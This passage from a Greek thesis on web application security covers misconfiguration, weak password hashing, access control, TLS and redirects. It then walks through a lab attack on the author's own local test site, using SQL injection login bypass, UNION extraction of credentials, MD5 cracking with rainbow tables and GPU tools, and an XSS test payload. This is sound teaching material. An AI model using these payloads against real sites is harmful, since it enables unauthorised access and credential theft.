διακόπτουµε την αυτόµατη εκτέλεση javascipt πχ στον firefox υπάρχει το No-Script. 37

3.2.6- Λανθασµένες ρυθµίσεις ασφαλείας Σε αυτή την κατηγορία περιλαµβάνεται οποιοδήποτε ατέλεια µπορεί να εκµεταλλευτεί κάποιος hacker από παράλειψη του διαχειριστή ή του developer της εφαρµογής και µπορεί να του δώσει πρόσβαση σε δεδοµένα ή στην διαχείριση της εφαρµογής. Κάποια από τα λάθη που γίνονται έχουν αναφερθεί και στην ενότητα 2.3 αλλά εδώ θα τα παρουσιάσουµε συγκεντρωτικά και θα προσθέσουµε και κάποια άλλα: Α) Μη ενηµέρωση του λογισµικού του server και των προγραµµάτων του συστήµατος(firewall,antivirus,malware,database, ). Β)Χρήση default ταυτοτήτων και password. Γ) ιατήρηση ανενεργών λογαριασµών. )Επιτρεπόµενη πρόσβαση σε καταλόγους του server και της εφαρµογής. Ε)Ο µηχανισµός απόκρισης σε σφάλµατα αποκαλύπτει πληροφορίες για το σύστηµα. ΣΤ)Ενεργοποιηµένες υπηρεσίες που δε χρησιµοποιούνται. Z)Κακώς ορισµένα δικαιώµατα χρήσης σε επισκέπτες και χρήστες. Η)Χρήση default λογαριασµών και password για πρόσβαση στην web app και πιο σοβαρά σε λογαριασµούς admin. Θ)Μη κρυπτογράφηση ευαίσθητων δεδοµένων. Ι)Αυτόµατη εγκατάσταση από την εφαρµογή και µη απενεργοποίηση της κονσόλας διαχειριστή για τον server. Προφανώς αποφεύγοντας αυτά τα λάθη κάνουµε την web app πιο ασφαλή. 3.2.7- Ανασφαλής κρυπτογράφηση δεδοµένων εδοµένα όπως usernames, password, αριθµοί πιστωτικών καρτών και άλλες προσωπικές πληροφορίες των χρηστών µιας εφαρµογής αποθηκεύονται σε βάσεις δεδοµένων για να χρησιµοποιηθούν από την εφαρµογή. Είναι κατανοητό πως αυτά τα δεδοµένα αποτελούν ίσως το πιο πολύτιµο στοιχείο µιας web app. Οι ιδιοκτήτες της εφαρµογής είναι υποχρεωµένοι να εξασφαλίσουν την ασφάλεια των δεδοµένων και κατά την µεταφορά τους µέσω διαδικτύου και κατά την αποθήκευσή τους. Υπάρχουν συγκεκριµένοι κανόνες που πρέπει να ακολουθούµε για να είµαστε σίγουροι ότι τα ευαίσθητα δεδοµένα είναι ασφαλή: Α) εν χρησιµοποιούµε αλγορίθµους κρυπτογράφησης δικής µας επινόησης. Συνήθως οι αλγόριθµοι είναι κακογραµµένοι και δεν είναι αρκετά ισχυροί ώστε να µην αποκρυπτογραφούνται εύκολα. Β)Προτιµούµε να χρησιµοποιούµε δοκιµασµένους κώδικες κρυπτογράφησης όπως οι AES,,RSA µε δηµόσιο κλειδί. Γ)Το απλό hashing µε αλγορίθµους όπως MD5,SHA1(συνηθισµένοι αλγόριθµοι κρυπτογράφησης για αποθήκευση διαπιστευτηρίων) δεν είναι καλή κρυπτογράφηση ειδικά αν το password που έχει εισάγει ο χρήστης δεν είναι αρκετά πολύπλοκο. Ένα ισχυρό υπολογιστικό σύστηµα(η τελευταία «τάση» είναι η χρήση καρτών γραφικών- gpu s) θα µπορούσε να αποκρυπτογραφήσει δεδοµένα στην περίπτωση που ο hacker ξέρει ή µαντέψει ποιος αλγόριθµος χρησιµοποιήθηκε και έχει καταφέρει να κλέψει τα hashes. 38

Θα αναφέρουµε ενδεικτικά την υπολογιστική ισχύ που πετυχαίνουν 2 κάρτες γραφικών των δύο επικρατέστερων τεχνολογιών gpu s προσπαθώντας να αποκρυπτογραφήσουν hash τιµές 2 αλγορίθµων. Οι κάρτες συγκρίνουν hash τιµές µε την τιµή που έχει κλαπεί ανά δευτερόλεπτο. ATI HD 5970: max 5600Million/second MD5 hashes & 2300M/s SHA1 nvidia GTX 260 w/ 192 SP: max 560M/s MD5 & 175M/s SHA1 Παρακάτω παρουσιάζουµε ένα παράδειγµα αποκρυπτογράφησης password από MD5 αλγόριθµο µε τη µέθοδο bruteforce, µε τη χρήση 3 καρτών γραφικών και του προγράµµατος IGHASHGPU. Οι κάρτες που χρησιµοποιήθηκαν ήταν τεχνολογίας HD5770+HD4770+8600GT[42].Η έξοδος του προγράµµατος ήταν η εξής **************************************************************** *** MD4/MD5/SHA1 GPU Password Recovery v0.70.48.4 *** *** For ATI RV 7X0 cards and nvidia 'CUDA' ones (G80+) *** *** (c) 2009-2010 Ivan Golubev, http://golubev.com *** *** see "readme.htm" for more details *** **************************************************************** *** Any commercial use of this program is strictly forbidden *** **************************************************************** Found 2 CAL device(s) Found 1 CUDA device(s) Starting brute-force attack, Charset Len = 36, Min passlen = 4, Max passlen = 7 Charset (unicode -> 0) [abcdefghijklmnopqrstuvwxyz0123456789] Charset in HEX: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 Starting from [aaaa] Hash type: MD5, Hash: cbe1d6d5800ec1e03a5f2a64882a0d41 Device #0: [RV830] 850.00 Mhz 800 SP Device #1: [RV7x0] 750.00 Mhz 640 SP Device #2: [GeForce 8600 GT] 1188.00 Mhz 32 SP Hardware monitoring disabled. CURPWD: 66owsnc DONE: 51.02% ETA: 13s CURSPD: 2756.0M=1646.0M+1017.4M+92.6M Found password: [roger15], HEX: 72 6f 67 65 72 31 35 Processed 42 228 252 672 passwords in 16s. Thus, 2 731 452 307 password(s) per second in average. Από το παράδειγµα φαίνεται πως σε 16 δευτερόλεπτα το πρόγραµµα χρησιµοποιώντας 3 κάρτες γραφικών «έσπασε» password 7 χαρακτήρων. Το πρόγραµµα έψαξε ξεκινώντας από hashes που δηµιουργούσαν password 4 χαρακτήρων και σταµάτησε στους 7. Αν γνωρίζαµε από την αρχή πόσους χαρακτήρες χρησιµοποιεί ο χρήστης τότε ο χρόνος που χρειαζόταν θα ήταν µικρότερος. Η πολυπλοκότητα βέβαια του password δεν ήταν η µέγιστη αλλά µας δίνει ένα δείγµα για το πόσο εύκολα σπάνε οι κρυπτογραφήσεις αν δεν είµαστε προσεκτικοί. Οι χρόνοι µπορούν να µειωθούν σηµαντικά αν χρησιµοποιηθούν µέθοδοι όπως rainbow tables[46] ή dictionary attack[45] όπου έχουµε σύγκριση πάνω σε πίνακες µε είδη γνωστά hashes από έτοιµους συνδυασµούς χαρακτήρων που έχουν παρατηρηθεί συχνά. Ένα στοιχείο που βοηθά να κάνουµε πιο δύσκολη την αποκρυπτογράφηση του κατακερµατισµένου(hashed) password είναι η προσθήκη salt στη διαδικασία hashing, δηλαδή µίας 39

ακόµα λέξης κλειδί η οποία συµπληρώνει το password που έχει επιλέξει ο χρήστης [42]. Έτσι η συνάρτηση γίνεται πχ. hash=md5( password, salt ). Στην ουσία αυτό που πετυχαίνουµε είναι να αυξήσουµε το χρόνο που θα χρειαστεί ένα υπολογιστικό σύστηµα για να αποκρυπτογραφήσει την hash τιµή σε τέτοιο βαθµό(υπολογισµοί µηνών ή και χρόνων ακόµα καλύτερα) που να µην αξίζει την προσπάθεια του hacker. Προφανώς είναι προτιµότερο για κάθε password να χρησιµοποιούµε διαφορετικό salt. Από αυτές τις αναφορές παρατηρούµε ότι η πρόοδος της τεχνολογίας στην παράλληλη επεξεργασία βοηθά όλο και περισσότερο τους hacker και κάνει επιτακτική την ανάγκη για µεγαλύτερης πολυπλοκότητας κρυπτογράφηση. Με τους αλγορίθµους που χρησιµοποιούµε τώρα θα πρέπει να απαιτούµε από τους χρήστες, ειδικά για εφαρµογές που χρησιµοποιούν πολύ ευαίσθητα δεδοµένα, να εισάγουν αρκετά µεγάλα password µε εναλλαγή κεφαλαίων µικρών, αριθµών και συµβόλων. Με την ίδια λογική θα πρέπει να χρησιµοποιούµε στις εφαρµογές µας πολύπλοκα κλειδιά. )Τα κλειδιά που χρησιµοποιούµε για την κρυπτογράφηση των δεδοµένων θα πρέπει να φυλάσσονται ξεχωριστά από τα δεδοµένα. εν κάνουµε το λάθος να αποθηκεύσουµε στην ίδια βάση τα κλειδιά που χρησιµοποιούµε καθώς αν η βάση κλαπεί τότε ο hacker έχει όλα τα εργαλεία για να δει εντέλει τα δεδοµένα. Ε)Προσέχουµε σε ποιον έχουµε δώσει πρόσβαση στο χώρο που φυλάµε τα Password και τα κλειδιά. Ακόµα και στους διαχειριστές του site µπορούµε να απαγορέψουµε να έχουν πρόσβαση στη βάση µε τόσο ευαίσθητα δεδοµένα. Ο νόµος 6 από τους 10 νόµους της Microsoft[47] που αφορούν την ασφάλεια υπολογιστικών συστηµάτων αναφέρει: Ένα pc είναι τόσο ασφαλές όσο έµπιστος είναι ο διαχειριστής του. Το ίδιο µπορεί να ισχύσει και σε µία web app. ΣΤ)Κρυπτογραφούµε όλη τη βάση δεδοµένων. Οι κρυπτογραφηµένες βάσεις µπορούν να προστατεύονται και µε κωδικό για την αποκρυπτογράφηση. Και πάλι δεν είναι απίθανο να αποκρυπτογραφηθεί η βάση αλλά έτσι αποθαρρύνουµε τον επίδοξο hacker από το να προσπαθήσει γιατί ο χρόνος που θα θέλει εντέλει είναι πρακτικά υπερβολικός. 3.2.8- Αποτυχία άρνησης πρόσβασης µέσω URL Συνέχεια στα προβλήµατα ανεπαρκούς ή και λανθασµένης εξουσιοδότησης. Τι συµβαίνει όταν ένας χρήστης ταυτοποιηµένος ή επισκέπτης του site έχει καταφέρει να βρει το url κρυφών σελίδων ή «παίζει» µε τα url(force browsing); Σε ποιο βαθµό του επιτρέπεται να βλέπει οποιαδήποτε σελίδα του site; Με ποια δικαιώµατα αποκτά πρόσβαση σε τέτοιες σελίδες και τα αρχεία που αυτές µπορεί να έχουν; Σε πολλές περιπτώσεις υπάρχουν κάποιες σελίδες σε site οι οποίες είναι κρυφές από τους απλούς χρήστες και προορίζονται για διαχειριστές ή χρήστες µε υψηλά δικαιώµατα. Ορίζονται ως κρυφές για να µην εµφανίζονται σε προγράµµατα crawlers(αναφέραµε νωρίτερα τη λειτουργία τους). Πολλές φορές όµως οι σχεδιαστές της web app ξεχνούν να τις «προστατέψουν». Αυτό γίνεται είτε γιατί ο µηχανισµός ανάθεσης δικαιωµάτων σε όλο το site της εφαρµογής γίνεται αρκετά πολύπλοκος και έτσι είναι συχνό φαινόµενο να υπάρχουν κάποια σηµεία στα οποία τα δικαιώµατα και η άδεια περιήγησης να µην ανατίθενται σωστά. Έτσι κάποιες σελίδες και αρχεία µένουν «ανοικτά» σε όποιον καταφέρει να βρει µαντέψει το url που δείχνει εκεί. Είναι κατανοητό ότι δε 40

µπορούµε να αφήνουµε τον οποιοδήποτε να περιηγείται ελεύθερα σε κρυφές σελίδες που προορίζονται για τους διαχειριστές και χρήστες µε υψηλά δικαιώµατα. Για να προστατέψουµε την εφαρµογή µας και γενικά το site µας από αυτή την αδυναµία πρέπει να εφαρµόζεται ο µηχανισµός ταυτοποίησης και ανάθεσης δικαιωµάτων σε κάθε σελίδα του site. Πως όµως το εξασφαλίζουµε αυτό; Είναι αρκετά δύσκολο να επιβεβαιώσουµε αυτόµατα, µε προγράµµατα ανίχνευσης αδυναµιών, γιατί έχουν δυσκολία στο να µαντέψουν τα url για τις κρυφές σελίδες και να εξακριβώσουν τον έλεγχο πρόσβασης και τα δικαιώµατα για κάθε χρήστη. Ο καλύτερος τρόπος επιβεβαίωσης είναι η ανάγνωση και µελέτη του κώδικα του µηχανισµού ελέγχου και η δοκιµή του πάνω στις σελίδες. Ο µηχανισµός ελέγχου θα πρέπει καθολικά να αρνείται την πρόσβαση σε κάθε σελίδα έως ότου ταυτοποιήσει τον χρήστη. Ακόµα, θα πρέπει τα δικαιώµατα να ανατίθενται µέσω ρόλων[49] στον κάθε χρήστη. Έτσι θα είναι πολύ πιο εύκολος ο χειρισµός τους και η ανάθεση δικαιωµάτων. Επίσης, θα πρέπει να απαγορέψουµε την εκτέλεση όλων των αρχείων που η εφαρµογή δεν χρησιµοποιεί. ηµιουργώντας µία λίστα µε τα αρχεία που αναµένονται από την εφαρµογή να εκτελεστούν κάθε άλλο διαφορετικό ο server θα το απορρίψει. 3.2.9- Ανεπαρκής προστασία επιπέδου µεταφοράς Οι ιστοσελίδες γενικά χρησιµοποιούν πρωτόκολλα SSL / TLS για να κρυπτογραφούν τα δεδοµένα στο επίπεδο µεταφοράς µεταξύ browser και server. Αν όµως αυτά τα πρωτόκολλα δεν χρησιµοποιούνται καθόλου ή δεν έχουν οριστεί σωστά οι παράµετροι για την λειτουργία τους σε µια συγκεκριµένη web app τότε είναι δυνατό να καταφέρει κάποιος να «βλέπει» τα δεδοµένα που ανταλλάσσονται κατά τη διάρκεια µιας συνεδρίας. Τότε µπορεί να κλέψει τα δεδοµένα, να τα αλλοιώσει ή ακόµα χειρότερα να γίνει ο ενδιάµεσος κόµβος στην επικοινωνία και να επιλέγει αυτός τι δεδοµένα αποστέλλονται σε κάθε πλευρά(man in the middle attack Εικόνα 5). Έχοντας κλέψει την ταυτότητα της συνεδρίας και το cookie του χρήστη έχει κλέψει την ταυτότητα του client. Ο server νοµίζει ότι επικοινωνεί µε εξουσιοδοτηµένο χρήστη. Το ίδιο και ο χρήστης ο οποίος θεωρεί ότι τα δεδοµένα που του επιστρέφονται είναι από την web app. Εικόνα 5. 41

Η ισχύς του πρωτοκόλλου SSL κρίνεται κυρίως από την ισχύ του αλγορίθµου κρυπτογράφησης και το µέγεθος του κλειδιού που χρησιµοποιεί. Αλγόριθµοι που χρησιµοποιούσαν µικρά κλειδιά(rc4-40,rc2-40, DES-56[51]) έχουν σταµατήσει να χρησιµοποιούνται καθώς ήταν ευάλωτοι σε επιθέσεις bruteforce. Άλλο ένα πρόβληµα είναι η χρησιµοποίηση ενός κλειδιού κατά τη διάρκεια όλης της συνεδρίας. Αν το κλειδί αυτό δεν αλλάξει τότε κάποιος που κατάφερε να κλέψει / µαντέψει το κλειδί που χρησιµοποιείτε µπορεί να επέµβει στην επικοινωνία. Κάποιοι server χρησιµοποιούν ακόµα παλαιότερες εκδόσεις πρωτοκόλλων και αναγκάζουν τους browser να χρησιµοποιήσουν την ίδια έκδοση. Αυτό είναι ένα σηµείο το οποίο εκµεταλλεύεται κάποιος κακόβουλος χρήστης. Ένα ακόµα λάθος που µπορεί να συναντήσουµε είναι να µην έχουν οριστεί σωστά οι παράµετροι του πρωτοκόλλου και ο browser του χρήστη να βγάζει συνέχεια ειδοποιήσεις. Ο χρήστης συνηθίζει και αποδέχεται την σύνδεση για να χρησιµοποιήσει την εφαρµογή. Αυτό µπορεί να το εκµεταλλευτεί κάποιος τρίτος που σε δικό του site τέτοιες ειδοποιήσεις αναρτώνται αλλά ο χρήστης τις αγνοεί και σε εκείνο το site αποκαλύπτει κωδικούς, usernames και άλλα προσωπικά του στοιχεία. Τι µπορούµε να κάνουµε: Ο server θα πρέπει να είναι πάντα ενηµερωµένος µε τα πιο πρόσφατα patches και να υπάρχει ένα σύστηµα NIDS(Network Intrusion System) το οποίο ελέγχει την κίνηση στο δίκτυο και στέλνει στην web app τα δεδοµένα σε clear text. Οι χρήστες της web app θα πρέπει να είναι ενηµερωµένοι να µην δέχονται πιστοποιητικά που βγάζουν σήµα επικινδυνότητας ή αγνώστου ταυτότητας. Το πιστοποιητικό που αποστέλλει ο server για την ταυτοποίησή του είναι µοναδικό και δεν µπορεί να τροποποιηθεί. Αν για λόγους απόδοσης ταχύτητας δεν καλύπτουµε την επικοινωνία σε κάθε σελίδα µε SSL/TLS κρυπτογράφηση τότε δεν πρέπει να δεχόµαστε αιτήσεις στις κρυπτογραφηµένες σελίδες από συνδέσµους µη κρυπτογραφηµένων. Σιγουρευόµαστε για την χρήση ισχυρών αλγορίθµων κρυπτογράφησης µε επαρκές µέγεθος κλειδιού. 3.2.10- Μη έγκυρες προωθήσεις Μια εφαρµογή στα πλαίσια λειτουργίας της µπορεί να οδηγεί τον χρήστη σε κάποια άλλη σελίδα (εσωτερικό σηµείο της εφαρµογής ή εξωτερικός σύνδεσµος). Η ενέργεια της προώθησης σε διαφορετικό url µπορεί να πραγµατοποιείτε µετά από αιτήσεις log in, αναζήτησης, αποστολής φόρµας. Η παράµετρος url µπορεί να είναι συγκεκριµένη και να µην αλλάζει, είτε να κατασκευάζεται από πληροφορίες που δίνει ο χρήστης, πχ συναρτήσεις αναζήτησης. Ποιο είναι το πρόβληµα; Έστω ότι µε παράµετρο url που δέχεται η web app οδηγείτε ο χρήστης στην νέα τοποθεσία. Κάποιος µπορεί προφανώς να πειράξει την παράµετρο και να οδηγήσει τον χρήστη σε µία κακόβουλη σελίδα όπου µετά µπορεί να εγκαταστήσει στον υπολογιστή του κώδικα της επιλογής του ή να εκµεταλλευτεί απλά το γεγονός της επίσκεψης στην συγκεκριµένη ιστοσελίδα. Επίσης οι web app χρησιµοποιούν τη µέθοδο forward για να οδηγήσουν τους χρήστες µετά από αιτήσεις (επιτυχείς και µη) στα αντίστοιχα εσωτερικά σηµεία στο site. www.example.com/redirect.php?fwd=url 42

Πειράζοντας την παράµετρο που χρησιµοποιείτε µπορούµε να περιηγηθούµε σε σελίδες παρακάµπτοντας ελέγχους δικαιωµάτων και ταυτότητας. Πχ. www.example.com/redirect.php?fwd=admin.php Για να αποφύγουµε επικίνδυνες καταστάσεις για την web app θα πρέπει να αποφεύγουµε να χρησιµοποιούµε τέτοιες µεθόδους περιήγησης µέσα στο site. Αν η εφαρµογή µας το απαιτεί τότε δεν θα πρέπει η παράµετρος να κατασκευάζεται από δεδοµένα που εισάγει ο χρήστης. Αν τέλος δεν γίνεται να αποφύγουµε την χρήση παραµέτρου τότε πρέπει να επικυρώνεται η παράµετρος και ότι ο χρήστης έχει δικαίωµα να περιηγηθεί στον προορισµό. 4-Παρουσίαση web app κενών και επιθέσεων Στα πλαίσια της εργασίας έγινε «κατασκευή» µιας υποτυπώδους εφαρµογής ιστού. Ο στόχος µας δεν είναι η λειτουργικότητα αυτής καθεαυτής της ιστοσελίδας αλλά η επίδειξη κενών ασφαλείας και των επιθέσεων που µπορεί να χρησιµοποιήσει κάποιος εκµεταλλευόµενος αυτές τις ατέλειες. Σαν υπόδειγµα, πήραµε µία εφαρµογή στην οποία έχουν πρόσβαση φοιτητές µιας σχολής. Η εφαρµογή αποτελείτε από µηχανισµό ταυτοποίησης στοιχείων και δίνει τη δυνατότητα στο χρήστη να δει ποια µαθήµατα έχει πάρει και τι βαθµολογία έχει λάβει στο κάθε µάθηµα. Επίσης δίνεται η δυνατότητα στο χρήστη να ανεβάσει σε κάποιο χώρο στον server δικά του αρχεία τα οποία µπορεί να προσπελάσει οποιαδήποτε στιγµή. Τα στοιχεία των χρηστών και τα δεδοµένα που τους αφορούν είναι αποθηκευµένα σε µία βάση δεδοµένων. Οι επιθέσεις που θα χρησιµοποιήσουµε είναι sql injection, xss και os command, defacement (οι δύο τελευταίες µε τη χρήση ενός php shell γραµµένο από την IT SECURITY TEAM[56]). Ας ρίξουµε όµως µια πρώτη µατιά στην ιστοσελίδα που θα προσπαθήσουµε να «παραβιάσουµε». 43

ιαβάζοντας τις πληροφορίες στο κάτω µέρος της πρώτης σελίδας βλέπουµε ότι σαν «σκελετός» έχει χρησιµοποιηθεί το framework yii. Έτσι µας δίνεται µια πάρα πολύ καλή ιδέα για το πώς µπορεί να δοµείται η σελίδα. Από την διεύθυνση(http://localhost/demo/index.php) καταλαβαίνουµε ότι η εφαρµογή είναι γραµµένη σε php. Συνεχίζουµε όµως µε τα πιο ενδιαφέροντα πράγµατα. Βλέπουµε µία ταµπέλα login. Υπάρχουν τα κλασικά πεδία username και password. Ας προσπαθήσουµε να δούµε αν µπορούµε να µαντέψουµε ένα username και password. Ως username θα χρησιµοποιήσουµε το admin(τα δικαιώµατα που θα έχουµε είναι το ζητούµενο). Ως password πάλι τη λέξη admin. Το αποτέλεσµα της εισόδου είναι αυτό. Το σύστηµα παραµένει στην σελίδα login και µας ενηµερώνει ότι τα διαπιστευτήρια δεν ήταν έγκυρα. Επίσης δεν µας αποκαλύπτει κανένα στοιχείο για το αν πετύχαµε σωστό username ή password(!ναι συµβαίνουν και αυτά!). Μέχρι στιγµής ο developer κερδίζει. 44

Θα προσπαθήσουµε να παρακάµψουµε το µηχανισµό log in χωρίς να γνωρίζουµε στοιχεία κάποιου λογαριασµού. Αυτό θα γίνει µε τη χρήση sql injection. Πρώτα πρέπει να δούµε αν κάποιο από τα πεδία είναι ευπαθές σε τέτοιου είδους επίθεση. Εισάγουµε στα πεδία χαρακτήρες όπως [ -- # `]. Παίρνουµε την παρακάτω απόκριση από τη σελίδα. Όπως βλέπουµε καταφέραµε να προκαλέσουµε ένα σφάλµα πάνω στη βάση δεδοµένων και η εφαρµογή µας επέστρεψε µια σελίδα µε τις θέσεις στον κώδικα που εντοπίστηκαν τα σφάλµατα. Η κατάσταση γυρνάει προς το µέρος µας! Πρώτα από όλα βλέπουµε πως η βάση ελέγχεται και διαµορφώνεται µε το πρόγραµµα mysql. Αν παρατηρήσουµε προσεκτικά θα δούµε τη γραµµή, στον κώδικα, που συντάσσεται η ερώτηση µε τα στοιχεία για την ταυτοποίηση. Βλέπουµε πως τα στοιχεία αυτά βρίσκονται σε έναν πίνακα µε όνοµα pid και τα πεδία έχουν όνοµα Username και Password. Επίσης ενδιαφέρον είναι το γεγονός πως τα password κωδικοποιούνται µε τη χρήση της συνάρτησης κατακερµατισµού md5. Με αυτές τις πληροφορίες µπορούµε τώρα να προχωρήσουµε. Περνάµε στο πεδίο username την ακόλουθη σειρά χαρακτήρων: Anything or 1=1# Αρχικά γράφουµε κάτι ως username. Στην ουσία δεν έχει σηµασία καθώς µπορούµε ακόµα και κενό να το αφήσουµε. Έπειτα προσθέτουµε την εντολή or και την έκφραση 1=1 έτσι ώστε η απάντηση στην ερώτηση που κάνουµε να είναι πάντα αληθής. Ο χαρακτήρας # επιβάλει στην βάση δεδοµένων να µην λάβει υπόψη της το υπόλοιπο της ερώτησης( AND Password=$hash ). Στο πεδίο password βάζουµε οτιδήποτε. ε θα είχε και νόηµα να προσπαθήσουµε να εισβάλλουµε στο σύστηµα από εκεί διότι όπως είδαµε πριν γίνει η ερώτηση το πεδίο αυτό κωδικοποιείται και έτσι η είσοδος αλλοιώνεται. 45

Θα καταφέρουµε λοιπόν να συνδεθούµε; BINGO! Βλέπουµε πως χωρίς να έχουµε λογαριασµό χρήστη στη συγκεκριµένη ιστοσελίδα αποκτήσαµε πρόσβαση και πλέον βλέπουµε υποσέλιδα που πριν δεν βλέπαµε. Συνεχίζοντας την «κακόβουλη» δράση µας επιλέγουµε την ταµπέλα Grades. Εδώ βλέπουµε ένα πεδίο ΑΜ(κάποιος προσωπικός αριθµός φοιτητή) το οποίο µας παρουσιάζει το βαθµό του φοιτητή στα µαθήµατα που έχει πάρει. Εισάγουµε έναν αριθµό πχ.101. Και βλέπουµε την παρακάτω σελίδα. 46

Παρατηρούµε πως η σελίδα επιστρέφει 2 στήλες. Μία µε κωδικό µαθήµατος και µία µε βαθµό. Για του λόγου το αληθές ας δούµε και µία καταχώρηση που υπάρχει στη βάση. Ας δούµε αν το πεδίο είναι ευάλωτο σε sql injection. Εισάγουµε την ακολουθία 1002 47

Πραγµατικά καταφέραµε να προκαλέσουµε σφάλµα και να επηρεάσουµε τη βάση. Τώρα θα προσπαθήσουµε να πάρουµε παραπάνω δεδοµένα από όσα θα έπρεπε να µας επιτρέπει ο developer της εφαρµογής. Ξέρουµε από πριν πως όλα τα στοιχεία ταυτοποίησης βρίσκονται στη βάση στον πίνακα pid. Εισάγουµε στο πεδίο την ακολουθία: 123 union all select * from pid Η απόκριση είναι η ίδια µε πριν. ηλαδή απόκριση σφάλµατος. Αυτό µπορεί να συµβαίνει διότι ο πίνακας pid δεν έχει ίδιο αριθµό στηλών µε τις στήλες που µας παρουσιάζει η σελίδα err.php. Ας ξαναδοκιµάσουµε µε την ακολουθία: 123 union all select username,password from pid Η απόκριση της σελίδας; JACKPOT!! 48

Μπροστά µας έχουµε όλα τα ονόµατα χρηστών και τους κωδικούς για την είσοδο στην ιστοσελίδα. Ανάµεσα σε αυτά είναι και το µοναδικό που µας ενδιαφέρει(ως hacker) αυτό του admin της ιστοσελίδας. Αν καταφέρουµε να αποκρυπτογραφήσουµε τον κωδικό του admin τότε αποκτούµε και τα ανάλογα δικαιώµατα πάνω στην ιστοσελίδα. Αυτό θα το κάνουµε µε τη χρήση του προγράµµατος rcracki_mt. Με τη βοήθεια από έτοιµους πίνακες µε κωδικοποιηµένα κλειδιά θα προσπαθήσουµε να βρούµε το αντίστοιχο της ακολουθίας 23b4222d2613a2765d4d432d2d65e88e. Το πρόγραµµα τρέχει µέσω της γραµµής εντολών. Αρχικά βλέπουµε τις παρακάτω πληροφορίες. Για να βρούµε τώρα το κλειδί που µας ενδιαφέρει γράφουµε: C:\Users\xristos\Desktop\rainbow\rcrackit>rcracki_mt -h 23b4222d2613a2765d4d432d 2d65e88e *.rti 49

Όπου *.rti είναι το σύνολο των rainbow tables οι οποίοι βρίσκονται στον ίδιο κατάλογο µε το πρόγραµµα. Η απόκριση του προγράµµατος είναι η παρακάτω. Using 1 threads for pre-calculation and false alarm checking... Found 12 rainbowtable files... md5_mixalpha-numeric-all-space#1-6_0_10000x11025402_distrrtgen[p][i]_2.rti: reading index... 9463795 bytes read, disk access time: 0.09 s reading table... 88203216 bytes read, disk access time: 0.79 s searching for 1 hash... cryptanalysis time: 0.59 s md5_mixalpha-numeric-all-space#1-6_0_10000x67108864_distrrtgen[p][i]_0.rti: reading index... 57616350 bytes read, disk access time: 0.65 s reading table... 277598096 bytes read, disk access time: 2.97 s searching for 1 hash... cryptanalysis time: 1.43 s reading table... 259272816 bytes read, disk access time: 2.16 s searching for 1 hash... plaintext of 23b4222d2613a2765d4d432d2d65e88e is hackme cryptanalysis time: 0.35 s statistics ------------------------------------------------------- plaintext found: 1 of 1 (100.00%) total disk access time: 6.66 s total cryptanalysis time: 2.37 s total pre-calculation time: 12.18 s total chain walk step: 49985001 total false alarm: 2237 total chain walk step due to false alarm: 8926803 result ------------------------------------------------------- 23b4222d2613a2765d4d432d2d65e88e hackme hex:6861636b6d65 Η αναζήτηση µας δίνει πως το password του χρήστη admin είναι hackme. Ας πάµε όµως να το τσεκάρουµε. 50

Εισάγουµε τα δεδοµένα και ιδού το αποτέλεσµα. Όντως, πλέον έχουµε πετύχει να εισβάλουµε στην ιστοσελίδα µε δικαιώµατα διαχειριστή. Το ίδιο µπορούµε να κάνουµε και για τα υπόλοιπα στοιχεία αν και δεν πρόκειται να µας δώσουν κάτι παραπάνω. Σε αυτό το σηµείο θα παρουσιάσουµε ένα λογισµικό εξέτασης ιστοσελίδων και web application ώστε να έχουµε και µια εικόνα για το πώς µπορούµε αυτόµατα και γρήγορα να ελέγχουµε για τρύπες στις ιστοσελίδες µας. Επιλέξαµε το Acunetix καθώς είναι απλό στη χρήση του και διαθέτει ένα ευρύ φάσµα επιθέσεων για ανακάλυψη αδύνατων σηµείων. Εδώ όµως χρησιµοποιούµε µία δοκιµαστική δωρεάν έκδοση η οποία ψάχνει για XSS αδυναµίες. Στην πλήρη έκδοση υπάρχει έλεγχος για code injection, αδυναµίες στον server κτλ. Αρχικά δίνουµε στο πρόγραµµα τον σύνδεσµο για το site προς έλεγχο. 51

Έπειτα επιλέγουµε ένα γενικό έλεγχο για οποιαδήποτε αδυναµία. Από έναν πρώτο έλεγχο βλέπουµε την αρχικό κατάλογο της εφαρµογής, πληροφορίες για τον server και το λειτουργικό που τρέχει και την γλώσσα που έχει χρησιµοποιηθεί για την κατασκευή της ιστοσελίδας. Έπειτα δίνουµε στο πρόγραµµα στοιχεία για την είσοδο στο site ώστε να έχει εξουσιοδοτηµένη πρόσβαση. 52

Το πρόγραµµα αποθήκευσε ένα προφιλ για είσοδο µε διαπιστευτήρια στην ιστοσελίδα. Συνεχίζουµε. Το αποτέλεσµα του ελέγχου είναι τα παρακάτω. 53

Το πρόγραµµα εντόπισε στο αρχείο /err.php το πεδίο ΑΜ ως σηµείο ευάλωτο σε XSS επιθέσεις και από ότι βλέπουµε είναι από τις αδυναµίες υψηλότερου κινδύνου. Όπως θα δούµε στη συνέχεια σηµείο ευάλωτο σε xss είναι και η καρτέλα board. Παρόλο που στην αναφορά δεν έχει εµφανιστεί(!!) το πρόγραµµα κατάφερε να επιτεθεί επιτυχώς στο σηµείο εισάγοντας ένα µικρό script που εµφάνιζε ένα απλό prompt παράθυρο κατά την είσοδο στην καρτέλα board. Ας πάµε όµως στο σηµείο που µας έχει υποδείξει το πρόγραµµα. Βλέπουµε πως η σελίδα err.php δέχεται είσοδο AM µε τη µέθοδο GET. Στο url προσθέτουµε τον κώδικα : localhost/demo/err.php?am=<script>alert("alert XSS")</script>. Παρακάτω βλέπουµε την απόκριση της σελίδας. Άρα βλέπουµε ότι όντως εκείνο το σηµείο είναι ευάλωτο σε τέτοιου είδους επίθεση. Τι θα συνέβαινε αν το script έδειχνε σε κάποιο αρχείο σε άλλο server και τι κώδικα θα µπορούσαµε να εκτελέσουµε στον browser του θύµατος; Ασφαλώς υπάρχουν και πάρα πολλά open source εργαλεία ελέγχου. Ένα από αυτά είναι και το Ironwasp. Με παρόµοια τρόπο δίνουµε στο πρόγραµµα την διεύθυνση της ιστοσελίδας (ή τον root κατάλογο ή συγκεκριµένη υποσέλιδα) και το πρόγραµµα επιτίθεται µε διάφορους τρόπους. Παρακάτω βλέπουµε το αποτέλεσµα από τον έλεγχο µε το Ironwasp. 54

